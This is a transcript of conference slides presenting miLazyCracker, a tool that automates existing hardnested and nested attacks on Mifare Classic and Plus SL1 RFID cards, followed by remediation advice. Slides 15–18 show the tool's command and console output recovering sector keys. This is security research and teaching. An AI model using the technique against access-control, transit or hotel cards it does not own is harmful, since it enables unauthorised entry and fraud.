miLazyCracker. Kevin Larson

1. miLazyCracker

Kevin Larson

2. Me

Software Engineer at Honeywell
–
This presentation in no way represents my employer or what I do
there, this work was done completely on my time and my dime
Masters Student at University Of Minnesota, USA

3. Research Note

Mifare Plus Cracking
–
This presentation does not disclose any new
vulnerabilities, simply builds on existing tools to make
them easy to use

4. Mifare Classic

simple storage device
e-wallet, access control, transportation, hotels
read/write access permissions per block via keys
Not all systems rely on networked/server side checks
Custom crypto library – CRYPTO1
Source: https://en.wikipedia.org/wiki/MIFARE#Security_of_MIFARE_Classic.2C_MIFARE_DESFire_and_MIFARE_Ultralight

5. Mifare Memory Layout

Source: NXP

6. Mifare Classic Attacks – Card Only

Open source NFC tools for Mifare Classic
–
MFOC (Nested Attack)
–
–
Relies on the fact that one key is known
MFCUK (Darkside Attack)
No keys are known for the card at all
MFCUK: https://github.com/nfc-tools/mfcuk
MFOC: https://github.com/nfc-tools/mfoc

7. Response to Attacks

–
Released Mifare Plus card - AES option
–
Backwards compatible with Mifare Classic (uses CRYPTO1 as well)
–
Fixed PRNG, no longer vulnerable to existing card-only attacks
(MFOC/MFCUK)
IMG URL: https://www.pinterest.com/pin/440297301040955293/

8. Researchers Response

Carlo Meijer and Roel Verdult
–
http://www.cs.ru.nl/~rverdult/Ciphertext-only_Cryptanalysis_on_Hardened_Mifare_Classic_Cards-CCS_2015.pdf
Found new card-only attacks (Mifare Plus SL1)
Important because many installations likely did not
update infrastructure

9. My Goals

Reproduce the attack
–
Get the proper hardware and software
Improve attack / easier to use
Can I make it faster? Real-time even?

10. Hardware and Tools

SCL3711 (~$30)
Proxmark3 ($212)
Mifare Plus Cards (~$75)
Mifare Reader (~$50)
Config Software (FREE!)
Crappy eBay lock *
Not all Classic readers accept MF+
(timing)

11. The Hardnested Attack

Nested attacked on hardened cards = “hardnested”
-
Requires at least one known key
-
Many attempts at nested authentication
-
Collect unique encrypted nonces
-
Leaked bits can reduce keyspace to ~2^20
-
Brute-force

12. What did I actually do?

Improving the attack was difficult
–
People a lot smarter than me don’t sleep
Speed of the attack is heavily dependent on the physical time
constraints
Make this REALLY easy to use

13. Are you lazy?

Everyone is lazy
Lets make this easy:
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Don’t know if you have a Mifare Classic or Plus?
–
Don’t have time to wait for older attacks (MFOC)
–
Don’t have over $200 to buy a Proxmark?
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Have $30 for a usb reader?
Try miLazyCracker!

14. miLazyCracker

modified LibNFC version of MFOC to ID the PRNG
Modified LibNFC version of hardnested attack to save additional data for
tool automation
Created wrapper script to figure out all parameters necessary, no input
parameters needed

15. Demo

./miLazyCracker
…
Fingerprinting based on MIFARE type Identification Procedure:
* MIFARE Classic 1K
* MIFARE Plus (4 Byte UID or 4 Byte RID) 2K, Security level 1
…
Try to authenticate to all sectors with default keys...
…
Sector 00 - Found Key A: ffffffffffff Found Key B: 000000000000
Sector 01 - Unknown Key A
Found Key B: 000000000000
…
Sector 11 - Found Key A: ffffffffffff Found Key B: 000000000000
Sector 12 - Unknown Key A
Unknown Key B
Sector 13 - Found Key A: ffffffffffff Found Key B: 000000000000
Sector 14 - Found Key A: ffffffffffff Found Key B: 000000000000
Sector 15 - Found Key A: ffffffffffff Found Key B: 000000000000

16. Demo (cont.)

PRNG is not vulnerable to nested attack
MFOC not possible, detected hardened Mifare Classic
Trying HardNested Attack...
libnfc_crypto1_crack 000000000000 60 B 48 B
…
Collected 1540 nonces... leftover complexity 199741811968 (~2^37.54) - initializing brute-force phase...
Found key: 000000143575
The custom key 0x000000143575 has been added to the default keys
… recursively calling attacks in wrapper script...
libnfc_crypto1_crack 000000000000 60 B 48 A
Found key: 66778899aabb
The custom key 0x000000143575 has been added to the default keys
The custom key 0x66778899aabb has been added to the default keys
…
Try to authenticate to all sectors with default keys...
Symbols: '.' no key found, '/' A key found, '\' B key found, 'x' both keys found
[Key: 000000143575] -> [............\...]
[Key: 66778899aabb] -> [............x...]
[Key: ffffffffffff] -> [x.xxxxxxxxxxxxxx]
[Key: a0a1a2a3a4a5] -> [x.xxxxxxxxxxxxxx]
[Key: d3f7d3f7d3f7] -> [x.xxxxxxxxxxxxxx]

17. Demo (cont.)

Sector 00 - Found Key A: ffffffffffff Found Key B: 000000000000
Sector 01 - Unknown Key A
Found Key B: 000000000000
Sector 02 - Found Key A: ffffffffffff Found Key B: 000000000000
…
Sector 12 - Found Key A: 66778899aabb Found Key B: 000000143575
Sector 13 - Found Key A: ffffffffffff Found Key B: 000000000000
Sector 14 - Found Key A: ffffffffffff Found Key B: 000000000000
Sector 15 - Found Key A: ffffffffffff Found Key B: 000000000000
…
Using sector 00 as an exploit sector
PRNG is not vulnerable to nested attack
MFOC not possible, detected hardened Mifare Classic
Trying HardNested Attack...
libnfc_crypto1_crack 000000000000 60 B 4 A
Found tag with uid a007a2a0, collecting nonces for key A of block 4 using known key B 000000000000 for
block 60
Collected 4003 nonces... leftover complexity 35169220696 (~2^35.03) - initializing brute-force phase...
Starting 8 threads to test 35169220696 states using 256-way bitslicing
Cracking... 98.28%
No solution found :(
…. Keep Trying! We’ll get different nonces next time around….

18. Demo (cont.)

MFOC not possible, detected hardened Mifare Classic
Trying HardNested Attack...
libnfc_crypto1_crack 000000000000 60 B 4 A
Collected 23435 nonces... leftover complexity 10712945232 (~2^33.32) - initializing brute-force phase...
Found key: 112233445566..
Auth with all sectors succeeded, dumping keys to a file!

19. Source Code Released

https://github.com/iAmNotSuperman/miLazyCracker/

20. Remediation

DO NOT USE
CUSTOM CRYPTO
Mifare Classic should be avoided
** Mifare Plus SL2 and SL3 are secure **

21. Questions?